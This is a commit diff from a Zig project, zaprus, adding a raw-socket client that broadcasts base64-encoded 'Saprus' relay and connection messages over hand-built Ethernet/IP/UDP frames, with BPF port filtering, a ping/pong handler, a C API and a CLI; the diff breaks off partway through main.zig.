aboutsummaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
Diffstat (limited to 'src')
-rw-r--r--src/Client.zig182
-rw-r--r--src/Connection.zig105
-rw-r--r--src/EthIpUdp.zig109
-rw-r--r--src/RawSocket.zig203
-rw-r--r--src/c_api.zig104
-rw-r--r--src/main.zig498
-rw-r--r--src/message.zig238
-rw-r--r--src/root.zig30
8 files changed, 1255 insertions, 214 deletions
diff --git a/src/Client.zig b/src/Client.zig
new file mode 100644
index 0000000..2344f83
--- /dev/null
+++ b/src/Client.zig
@@ -0,0 +1,182 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
+//! A client is used to handle interactions with the network.
+
+const base64_enc = std.base64.standard.Encoder;
+const base64_dec = std.base64.standard.Decoder;
+
+const Client = @This();
+
+const max_message_size = 2048;
+
+pub const max_payload_len = RawSocket.max_payload_len;
+
+socket: RawSocket,
+
+pub fn init() !Client {
+ const socket: RawSocket = try .init();
+ return .{
+ .socket = socket,
+ };
+}
+
+pub fn deinit(self: *Client) void {
+ self.socket.deinit();
+ self.* = undefined;
+}
+
+/// Sends a fire and forget message over the network.
+/// This function asserts that `payload` fits within a single packet.
+pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void {
+ const io_source: std.Random.IoSource = .{ .io = io };
+ const rand = io_source.interface();
+
+ var headers: EthIpUdp = .{
+ .src_mac = self.socket.mac,
+ .ip = .{
+ .id = rand.int(u16),
+ .src_addr = 0, //rand.int(u32),
+ .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
+ .len = undefined,
+ },
+ .udp = .{
+ .src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
+ .dst_port = 8888,
+ .len = undefined,
+ },
+ };
+
+ const relay: SaprusMessage = .{
+ .relay = .{
+ .dest = .fromBytes(&dest),
+ .payload = payload,
+ },
+ };
+
+ var relay_buf: [max_message_size - (@bitSizeOf(EthIpUdp) / 8)]u8 = undefined;
+ const relay_bytes = relay.toBytes(&relay_buf);
+ headers.setPayloadLen(relay_bytes.len);
+
+ var msg_buf: [max_message_size]u8 = undefined;
+ var msg_w: Writer = .fixed(&msg_buf);
+ msg_w.writeAll(&headers.toBytes()) catch unreachable;
+ msg_w.writeAll(relay_bytes) catch unreachable;
+ const full_msg = msg_w.buffered();
+
+ try self.socket.send(full_msg);
+}
+
+/// Attempts to establish a new connection with the sentinel.
+pub fn connect(self: Client, io: Io, payload: []const u8) (error{ BpfAttachFailed, Timeout } || SaprusMessage.ParseError)!SaprusConnection {
+ const io_source: std.Random.IoSource = .{ .io = io };
+ const rand = io_source.interface();
+
+ var headers: EthIpUdp = .{
+ .src_mac = self.socket.mac,
+ .ip = .{
+ .id = rand.int(u16),
+ .src_addr = 0, //rand.int(u32),
+ .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
+ .len = undefined,
+ },
+ .udp = .{
+ .src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
+ .dst_port = 8888,
+ .len = undefined,
+ },
+ };
+
+ // udp dest port should not be 8888 after first
+ const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
+ var connection: SaprusMessage = .{
+ .connection = .{
+ .src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
+ .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)), // Ignored, but good noise
+ .seq = undefined,
+ .id = undefined,
+ .payload = payload,
+ },
+ };
+
+ log.debug("Setting bpf filter to port {}", .{connection.connection.src});
+ self.socket.attachSaprusPortFilter(null, connection.connection.src) catch |err| {
+ log.err("Failed to set port filter: {t}", .{err});
+ return err;
+ };
+ log.debug("bpf set", .{});
+
+ var connection_buf: [2048]u8 = undefined;
+ var connection_bytes = connection.toBytes(&connection_buf);
+ headers.setPayloadLen(connection_bytes.len);
+
+ log.debug("Building full message", .{});
+ var msg_buf: [2048]u8 = undefined;
+ var msg_w: Writer = .fixed(&msg_buf);
+ msg_w.writeAll(&headers.toBytes()) catch unreachable;
+ msg_w.writeAll(connection_bytes) catch unreachable;
+ var full_msg = msg_w.buffered();
+ log.debug("Built full message. Sending message", .{});
+
+ try self.socket.send(full_msg);
+ var res_buf: [4096]u8 = undefined;
+
+ log.debug("Awaiting handshake response", .{});
+ // Ignore response from sentinel, just accept that we got one.
+ const full_handshake_res = try self.socket.receive(&res_buf);
+ const handshake_res = saprusParse(full_handshake_res[42..]) catch |err| {
+ log.err("Parse error: {t}", .{err});
+ return err;
+ };
+ self.socket.attachSaprusPortFilter(handshake_res.connection.src, handshake_res.connection.dest) catch |err| {
+ log.err("Failed to set port filter: {t}", .{err});
+ return err;
+ };
+ connection.connection.dest = handshake_res.connection.src;
+ connection_bytes = connection.toBytes(&connection_buf);
+
+ headers.udp.dst_port = udp_dest_port;
+ headers.ip.id = rand.int(u16);
+ headers.setPayloadLen(connection_bytes.len);
+
+ log.debug("Building final handshake message", .{});
+
+ msg_w.end = 0;
+
+ msg_w.writeAll(&headers.toBytes()) catch unreachable;
+ msg_w.writeAll(connection_bytes) catch unreachable;
+ full_msg = msg_w.buffered();
+
+ try self.socket.send(full_msg);
+
+ return .{
+ .socket = self.socket,
+ .headers = headers,
+ .connection = connection,
+ };
+}
+
+const RawSocket = @import("./RawSocket.zig");
+
+const SaprusMessage = @import("message.zig").Message;
+const saprusParse = SaprusMessage.parse;
+const SaprusConnection = @import("Connection.zig");
+const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
+
+const std = @import("std");
+const Io = std.Io;
+const Writer = std.Io.Writer;
+const log = std.log;
diff --git a/src/Connection.zig b/src/Connection.zig
new file mode 100644
index 0000000..19be710
--- /dev/null
+++ b/src/Connection.zig
@@ -0,0 +1,105 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
+socket: RawSocket,
+headers: EthIpUdp,
+connection: SaprusMessage,
+
+const Connection = @This();
+
+// 'p' as base64
+const pong = "cA==";
+
+/// Attempts to read from the network, and returns the next message, if any.
+///
+/// Asserts that `buf` is large enough to store the message that is received.
+///
+/// This will internally process management messages, and return the message
+/// payload for the next non management connection message.
+/// This function is ignorant to the message encoding.
+pub fn next(self: *Connection, io: Io, buf: []u8) ![]const u8 {
+ while (true) {
+ log.debug("Awaiting connection message", .{});
+ const res = try self.socket.receive(buf);
+ log.debug("Received {} byte connection message", .{res.len});
+ const msg = SaprusMessage.parse(res[42..]) catch |err| {
+ log.err("Failed to parse next message: {t}\n{x}\n{x}", .{ err, res[0..], res[42..] });
+ return err;
+ };
+
+ switch (msg) {
+ .connection => |con_res| {
+ if (try con_res.management()) |mgt| {
+ log.debug("Received management message {t}", .{mgt});
+ switch (mgt) {
+ .ping => {
+ log.debug("Sending pong", .{});
+ try self.send(io, .{ .management = true }, pong);
+ log.debug("Sent pong message", .{});
+ },
+ else => |m| log.debug("Received management message that I don't know how to handle: {t}", .{m}),
+ }
+ } else {
+ log.debug("Payload was {s}", .{con_res.payload});
+ return con_res.payload;
+ }
+ },
+ else => |m| {
+ std.debug.panic("Expected connection message, instead got {x}. This means there is an error with the BPF.", .{@intFromEnum(m)});
+ },
+ }
+ }
+}
+
+/// Attempts to write a message to the network.
+///
+/// Clients should pass `.{}` for options unless you know what you are doing.
+/// `buf` will be sent over the network as-is; this function is ignorant of encoding.
+pub fn send(self: *Connection, io: Io, options: SaprusMessage.Connection.Options, buf: []const u8) !void {
+ const io_source: std.Random.IoSource = .{ .io = io };
+ const rand = io_source.interface();
+
+ log.debug("Sending connection message", .{});
+
+ self.connection.connection.options = options;
+ self.connection.connection.payload = buf;
+ var connection_bytes_buf: [2048]u8 = undefined;
+ const connection_bytes = self.connection.toBytes(&connection_bytes_buf);
+
+ self.headers.ip.id = rand.int(u16);
+ self.headers.setPayloadLen(connection_bytes.len);
+
+ var msg_buf: [2048]u8 = undefined;
+ var msg_w: Writer = .fixed(&msg_buf);
+ try msg_w.writeAll(&self.headers.toBytes());
+ try msg_w.writeAll(connection_bytes);
+ const full_msg = msg_w.buffered();
+
+ try self.socket.send(full_msg);
+
+ log.debug("Sent {} byte connection message", .{full_msg.len});
+}
+
+const std = @import("std");
+const Io = std.Io;
+const Writer = std.Io.Writer;
+
+const log = std.log;
+
+const SaprusMessage = @import("./message.zig").Message;
+
+const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
+const RawSocket = @import("./RawSocket.zig");
diff --git a/src/EthIpUdp.zig b/src/EthIpUdp.zig
new file mode 100644
index 0000000..251ed64
--- /dev/null
+++ b/src/EthIpUdp.zig
@@ -0,0 +1,109 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
+pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
+ // --- UDP (Last in memory, defined first for LSB->MSB) ---
+ udp: packed struct {
+ checksum: u16 = 0,
+ len: u16,
+ dst_port: u16,
+ src_port: u16,
+ },
+
+ // --- IP ---
+ ip: packed struct {
+ dst_addr: u32,
+ src_addr: u32,
+ header_checksum: u16 = 0,
+ protocol: u8 = 17, // udp
+ ttl: u8 = 0x40,
+
+ // fragment_offset (13 bits) + flags (3 bits) = 16 bits
+ // In Big Endian, flags are the high bits of the first byte.
+ // To have flags appear first in the stream, define them last here.
+ fragment_offset: u13 = 0,
+ flags: packed struct(u3) {
+ reserved: u1 = 0,
+ dont_fragment: u1 = 1,
+ more_fragments: u1 = 0,
+ } = .{},
+
+ id: u16,
+ len: u16,
+ tos: u8 = undefined,
+
+ // ip_version (4 bits) + ihl (4 bits) = 8 bits
+ // To have version appear first (high nibble), define it last.
+ ihl: u4 = 5,
+ ip_version: u4 = 4,
+ },
+
+ // --- Ethernet ---
+ eth_type: u16 = std.os.linux.ETH.P.IP,
+ src_mac: @Vector(6, u8),
+ dst_mac: @Vector(6, u8) = @splat(0xff),
+
+ pub fn toBytes(self: @This()) [336 / 8]u8 {
+ var res: [336 / 8]u8 = undefined;
+ var w: Writer = .fixed(&res);
+ w.writeStruct(self, .big) catch unreachable;
+ return res;
+ }
+
+ pub fn setPayloadLen(self: *@This(), len: usize) void {
+ self.ip.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8) + (@bitSizeOf(@TypeOf(self.ip)) / 8));
+
+ // Zero the checksum field before calculation
+ self.ip.header_checksum = 0;
+
+ // Serialize IP header to big-endian bytes
+ var ip_bytes: [@bitSizeOf(@TypeOf(self.ip)) / 8]u8 = undefined;
+ var w: Writer = .fixed(&ip_bytes);
+ w.writeStruct(self.ip, .big) catch unreachable;
+
+ // Calculate checksum over serialized bytes
+ self.ip.header_checksum = onesComplement16(&ip_bytes);
+
+ self.udp.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8));
+ }
+};
+
+fn onesComplement16(data: []const u8) u16 {
+ var sum: u32 = 0;
+
+ // Process pairs of bytes as 16-bit words
+ var i: usize = 0;
+ while (i + 1 < data.len) : (i += 2) {
+ const word: u16 = (@as(u16, data[i]) << 8) | data[i + 1];
+ sum += word;
+ }
+
+ // Handle odd byte if present
+ if (data.len % 2 == 1) {
+ sum += @as(u32, data[data.len - 1]) << 8;
+ }
+
+ // Fold 32-bit sum to 16 bits
+ while (sum >> 16 != 0) {
+ sum = (sum & 0xFFFF) + (sum >> 16);
+ }
+
+ // Return ones' complement
+ return ~@as(u16, @truncate(sum));
+}
+
+const std = @import("std");
+const Writer = std.Io.Writer;
diff --git a/src/RawSocket.zig b/src/RawSocket.zig
new file mode 100644
index 0000000..9561dcf
--- /dev/null
+++ b/src/RawSocket.zig
@@ -0,0 +1,203 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
+const RawSocket = @This();
+
+const is_debug = builtin.mode == .Debug;
+
+fd: i32,
+sockaddr_ll: std.posix.sockaddr.ll,
+mac: [6]u8,
+
+pub const max_payload_len = 1000;
+
+const Ifconf = extern struct {
+ ifc_len: i32,
+ ifc_ifcu: extern union {
+ ifcu_buf: ?[*]u8,
+ ifcu_req: ?[*]std.os.linux.ifreq,
+ },
+};
+
+pub fn init() error{
+ SocketError,
+ NicError,
+ NoInterfaceFound,
+ BindError,
+}!RawSocket {
+ const socket: i32 = std.math.cast(i32, std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0)) orelse return error.SocketError;
+ if (socket < 0) return error.SocketError;
+
+ var ifreq_storage: [16]std.os.linux.ifreq = undefined;
+ var ifc = Ifconf{
+ .ifc_len = @sizeOf(@TypeOf(ifreq_storage)),
+ .ifc_ifcu = .{ .ifcu_req = &ifreq_storage },
+ };
+
+ if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFCONF, @intFromPtr(&ifc)) != 0) {
+ return error.NicError;
+ }
+
+ const count = @divExact(ifc.ifc_len, @sizeOf(std.os.linux.ifreq));
+
+ // Get the first non loopback interface
+ var ifr = for (ifreq_storage[0..@intCast(count)]) |*ifr| {
+ if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) == 0) {
+ if (ifr.ifru.flags.LOOPBACK) continue;
+ break ifr;
+ }
+ } else return error.NoInterfaceFound;
+
+ // 2. Get Interface Index
+ if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFINDEX, @intFromPtr(ifr)) != 0) {
+ return error.NicError;
+ }
+ const ifindex: i32 = ifr.ifru.ivalue;
+
+ // 3. Get Real MAC Address
+ if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFHWADDR, @intFromPtr(ifr)) != 0) {
+ return error.NicError;
+ }
+ var mac: [6]u8 = ifr.ifru.hwaddr.data[0..6].*;
+ if (builtin.cpu.arch.endian() == .little) std.mem.reverse(u8, &mac);
+
+ // 4. Set Flags (Promiscuous/Broadcast)
+ if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) != 0) {
+ return error.NicError;
+ }
+ ifr.ifru.flags.BROADCAST = true;
+ ifr.ifru.flags.PROMISC = true;
+ if (std.os.linux.ioctl(socket, std.os.linux.SIOCSIFFLAGS, @intFromPtr(ifr)) != 0) {
+ return error.NicError;
+ }
+
+ const sockaddr_ll = std.mem.zeroInit(std.posix.sockaddr.ll, .{
+ .family = std.posix.AF.PACKET,
+ .ifindex = ifindex,
+ .protocol = std.mem.nativeToBig(u16, @as(u16, std.os.linux.ETH.P.IP)),
+ });
+
+ const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll)));
+ if (bind_ret != 0) return error.BindError;
+
+ return .{
+ .fd = socket,
+ .sockaddr_ll = sockaddr_ll,
+ .mac = mac,
+ };
+}
+
+pub fn setTimeout(self: *RawSocket, sec: isize, usec: i64) !void {
+ const timeout: std.os.linux.timeval = .{ .sec = sec, .usec = usec };
+ const timeout_ret = std.os.linux.setsockopt(self.fd, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout)));
+ if (timeout_ret != 0) return error.SetTimeoutError;
+}
+
+pub fn deinit(self: *RawSocket) void {
+ _ = std.os.linux.close(self.fd);
+ self.* = undefined;
+}
+
+pub fn send(self: RawSocket, payload: []const u8) !void {
+ const sent_bytes = std.os.linux.sendto(
+ self.fd,
+ payload.ptr,
+ payload.len,
+ 0,
+ @ptrCast(&self.sockaddr_ll),
+ @sizeOf(@TypeOf(self.sockaddr_ll)),
+ );
+ _ = sent_bytes;
+}
+
+pub fn receive(self: RawSocket, buf: []u8) ![]u8 {
+ const len = std.os.linux.recvfrom(
+ self.fd,
+ buf.ptr,
+ buf.len,
+ 0,
+ null,
+ null,
+ );
+ if (std.os.linux.errno(len) != .SUCCESS) {
+ return error.Timeout; // TODO: get the real error, assume timeout for now.
+ }
+ return buf[0..len];
+}
+
+pub fn attachSaprusPortFilter(self: RawSocket, incoming_src_port: ?u16, incoming_dest_port: u16) !void {
+ const BPF = std.os.linux.BPF;
+ // BPF instruction structure for classic BPF
+ const SockFilter = extern struct {
+ code: u16,
+ jt: u8,
+ jf: u8,
+ k: u32,
+ };
+
+ const SockFprog = extern struct {
+ len: u16,
+ filter: [*]const SockFilter,
+ };
+
+ // Build the filter program
+ const filter = if (incoming_src_port) |inc_src| &[_]SockFilter{
+ // Load 2 bytes at offset 46 (absolute)
+ .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 46 },
+ // Jump if equal to port (skip 1 if true, skip 0 if false)
+ .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 1, .jf = 0, .k = @as(u32, inc_src) },
+ // Return 0x0 (fail)
+ .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 },
+ // Load 2 bytes at offset 48 (absolute)
+ .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 },
+ // Jump if equal to port (skip 0 if true, skip 1 if false)
+ .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) },
+ // Return 0xffff (pass)
+ .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff },
+ // Return 0x0 (fail)
+ .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 },
+ } else &[_]SockFilter{
+ // Load 2 bytes at offset 48 (absolute)
+ .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 },
+ // Jump if equal to port (skip 0 if true, skip 1 if false)
+ .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) },
+ // Return 0xffff (pass)
+ .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff },
+ // Return 0x0 (fail)
+ .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 },
+ };
+
+ const fprog = SockFprog{
+ .len = @intCast(filter.len),
+ .filter = filter.ptr,
+ };
+
+ // Attach filter to socket using setsockopt
+ const rc = std.os.linux.setsockopt(
+ self.fd,
+ std.os.linux.SOL.SOCKET,
+ std.os.linux.SO.ATTACH_FILTER,
+ @ptrCast(&fprog),
+ @sizeOf(SockFprog),
+ );
+
+ if (rc != 0) {
+ return error.BpfAttachFailed;
+ }
+}
+
+const std = @import("std");
+const builtin = @import("builtin");
diff --git a/src/c_api.zig b/src/c_api.zig
new file mode 100644
index 0000000..c2f3190
--- /dev/null
+++ b/src/c_api.zig
@@ -0,0 +1,104 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
+const std = @import("std");
+const zaprus = @import("zaprus");
+
+// Opaque types for C API
+const ZaprusClient = opaque {};
+const ZaprusConnection = opaque {};
+
+const alloc = std.heap.c_allocator;
+const io = std.Io.Threaded.global_single_threaded.io();
+
+export fn zaprus_init_client() ?*ZaprusClient {
+ const client = alloc.create(zaprus.Client) catch return null;
+ client.* = zaprus.Client.init() catch {
+ alloc.destroy(client);
+ return null;
+ };
+ return @ptrCast(client);
+}
+
+export fn zaprus_deinit_client(client: ?*ZaprusClient) void {
+ const c: ?*zaprus.Client = @ptrCast(@alignCast(client));
+ if (c) |zc| {
+ zc.deinit();
+ alloc.destroy(zc);
+ }
+}
+
+export fn zaprus_client_send_relay(
+ client: ?*ZaprusClient,
+ payload: [*c]const u8,
+ payload_len: usize,
+ dest: [*c]const u8,
+) c_int {
+ const c: ?*zaprus.Client = @ptrCast(@alignCast(client));
+ const zc = c orelse return 1;
+
+ zc.sendRelay(io, payload[0..payload_len], dest[0..4].*) catch return 1;
+ return 0;
+}
+
+export fn zaprus_connect(
+ client: ?*ZaprusClient,
+ payload: [*c]const u8,
+ payload_len: usize,
+) ?*ZaprusConnection {
+ const c: ?*zaprus.Client = @ptrCast(@alignCast(client));
+ const zc = c orelse return null;
+
+ const connection = alloc.create(zaprus.Connection) catch return null;
+ connection.* = zc.connect(io, payload[0..payload_len]) catch {
+ alloc.destroy(connection);
+ return null;
+ };
+ return @ptrCast(connection);
+}
+
+export fn zaprus_deinit_connection(connection: ?*ZaprusConnection) void {
+ const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
+ if (c) |zc| {
+ alloc.destroy(zc);
+ }
+}
+
+export fn zaprus_connection_next(
+ connection: ?*ZaprusConnection,
+ out: [*c]u8,
+ capacity: usize,
+ out_len: *usize,
+) c_int {
+ const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
+ const zc = c orelse return 1;
+
+ const result = zc.next(io, out[0..capacity]) catch return 1;
+ out_len.* = result.len;
+ return 0;
+}
+
+export fn zaprus_connection_send(
+ connection: ?*ZaprusConnection,
+ payload: [*c]const u8,
+ payload_len: usize,
+) c_int {
+ const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
+ const zc = c orelse return 1;
+
+ zc.send(io, .{}, payload[0..payload_len]) catch return 1;
+ return 0;
+}
diff --git a/src/main.zig b/src/main.zig
index 9a0b8a4..c5e7b0a 100644
--- a/src/main.zig
+++ b/src/main.zig
@@ -1,236 +1,306 @@
+// Copyright 2026 Robby Zambito
+//
+// This file is part of zaprus.
+//
+// Zaprus is free software: you can redistribute it and/or modify it under the
+// terms of the GNU General Public License as published by the Free Software
+// Foundation, either version 3 of the License, or (at your option) any later
+// version.
+//
+// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
+// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along with
+// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+
const is_debug = builtin.mode == .Debug;
-const base64Enc = std.base64.Base64Encoder.init(std.base64.standard_alphabet_chars, '=');
-const base64Dec = std.base64.Base64Decoder.init(std.base64.standard_alphabet_chars, '=');
-
-/// Type tag for SaprusMessage union.
-/// This is the first value in the actual packet sent over the network.
-const SaprusPacketType = enum(u16) {
- relay = 0x003C,
- file_transfer = 0x8888,
- connection = 0x00E9,
- _,
-};
-
-/// Reserved option values.
-/// Currently unused.
-const SaprusConnectionOptions = packed struct(u8) {
- opt1: bool = false,
- opt2: bool = false,
- opt3: bool = false,
- opt4: bool = false,
- opt5: bool = false,
- opt6: bool = false,
- opt7: bool = false,
- opt8: bool = false,
-};
-
-const SaprusError = error{
- NotImplementedSaprusType,
- UnknownSaprusType,
-};
-
-/// All Saprus messages
-const SaprusMessage = union(SaprusPacketType) {
- const Relay = struct {
- const Header = packed struct {
- dest: @Vector(4, u8),
- };
- header: Header,
- payload: []const u8,
- };
- const Connection = struct {
- const Header = packed struct {
- src_port: u16,
- dest_port: u16,
- seq_num: u32 = 0,
- msg_id: u32 = 0,
- reserved: u8 = 0,
- options: SaprusConnectionOptions = .{},
- };
- header: Header,
- payload: []const u8,
- };
- relay: Relay,
- file_transfer: void, // unimplemented
- connection: Connection,
-
- /// Should be called for any SaprusMessage that was declared using a function that you pass an allocator to.
- fn deinit(self: SaprusMessage, allocator: Allocator) void {
- switch (self) {
- .relay => |r| allocator.free(r.payload),
- .connection => |c| allocator.free(c.payload),
- else => unreachable,
+
+const help =
+ \\-h, --help Display this help and exit.
+ \\-r, --relay <str> A relay message to send.
+ \\-d, --dest <str> An IPv4 or <= 4 ASCII byte string.
+ \\-c, --connect <str> A connection message to send.
+ \\
+;
+
+const Option = enum { help, relay, dest, connect };
+const to_option: StaticStringMap(Option) = .initComptime(.{
+ .{ "-h", .help },
+ .{ "--help", .help },
+ .{ "-r", .relay },
+ .{ "--relay", .relay },
+ .{ "-d", .dest },
+ .{ "--dest", .dest },
+ .{ "-c", .connect },
+ .{ "--connect", .connect },
+});
+
+pub fn main(init: std.process.Init) !void {
+ // CLI parsing adapted from the example here
+ // https://codeberg.org/ziglang/zig/pulls/30644
+
+ const args = try init.minimal.args.toSlice(init.arena.allocator());
+
+ var flags: struct {
+ relay: ?[]const u8 = null,
+ dest: ?[]const u8 = null,
+ connect: ?[]const u8 = null,
+ } = .{};
+
+ if (args.len == 1) {
+ flags.connect = "";
+ } else {
+ var i: usize = 1;
+ while (i < args.len) : (i += 1) {
+ if (to_option.get(args[i])) |opt| {
+ switch (opt) {
+ .help => {
+ std.debug.print("{s}", .{help});
+ return;
+ },
+ .relay => {
+ i += 1;
+ if (i < args.len) {
+ flags.relay = args[i];
+ } else {
+ flags.relay = "";
+ }
+ },
+ .dest => {
+ i += 1;
+ if (i < args.len) {
+ flags.dest = args[i];
+ } else {
+ std.debug.print("-d/--dest requires a string\n", .{});
+ return error.InvalidArguments;
+ }
+ },
+ .connect => {
+ i += 1;
+ if (i < args.len) {
+ flags.connect = args[i];
+ } else {
+ flags.connect = "";
+ }
+ },
+ }
+ } else {
+ std.debug.print("Unknown argument: {s}\n", .{args[i]});
+ return error.InvalidArguments;
+ }
}
}
- inline fn toBytesAux(
- Header: type,
- header: Header,
- payload: []const u8,
- w: std.ArrayList(u8).Writer,
- allocator: Allocator,
- ) !void {
- // Create a growable string to store the base64 bytes in.
- // Doing this first so I can use the length of the encoded bytes for the length field.
- var payload_list = std.ArrayList(u8).init(allocator);
- defer payload_list.deinit();
- const buf_w = payload_list.writer();
-
- // Write the payload bytes as base64 to the growable string.
- try base64Enc.encodeWriter(buf_w, payload);
-
- // Write the packet body to the output writer.
- try w.writeStructEndian(header, .big);
- try w.writeInt(u16, @intCast(payload_list.items.len), .big);
- try w.writeAll(payload_list.items);
+ if (flags.connect != null and (flags.relay != null or flags.dest != null)) {
+ std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{});
+ return error.InvalidArguments;
}
- /// Caller is responsible for freeing the returned bytes.
- fn toBytes(self: SaprusMessage, allocator: Allocator) ![]u8 {
- // Create a growable list of bytes to store the output in.
- var buf = std.ArrayList(u8).init(allocator);
- // Create a writer for an easy interface to append arbitrary bytes.
- const w = buf.writer();
-
- // Start with writing the message type, which is the first 16 bits of every Saprus message.
- try w.writeInt(u16, @intFromEnum(self), .big);
-
- // Write the proper header and payload for the given packet type.
- switch (self) {
- .relay => |r| try toBytesAux(Relay.Header, r.header, r.payload, w, allocator),
- .connection => |c| try toBytesAux(Connection.Header, c.header, c.payload, w, allocator),
- .file_transfer => return SaprusError.NotImplementedSaprusType,
+ var client: SaprusClient = undefined;
+
+ if (flags.relay != null) {
+ client = try .init();
+ defer client.deinit();
+ var chunk_writer_buf: [2048]u8 = undefined;
+ var chunk_writer: Writer = .fixed(&chunk_writer_buf);
+ if (flags.relay.?.len > 0) {
+ var output_iter = std.mem.window(u8, flags.relay.?, SaprusClient.max_payload_len, SaprusClient.max_payload_len);
+ while (output_iter.next()) |chunk| {
+ chunk_writer.end = 0;
+ try chunk_writer.print("{b64}", .{chunk});
+ try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
+ try init.io.sleep(.fromMilliseconds(40), .boot);
+ }
+ } else {
+ var stdin_file: std.Io.File = .stdin();
+ var stdin_file_reader = stdin_file.reader(init.io, &.{});
+ var stdin_reader = &stdin_file_reader.interface;
+ var lim_buf: [SaprusClient.max_payload_len]u8 = undefined;
+ var limited = stdin_reader.limited(.limited(10 * lim_buf.len), &lim_buf);
+ var stdin = &limited.interface;
+
+ while (stdin.fillMore()) {
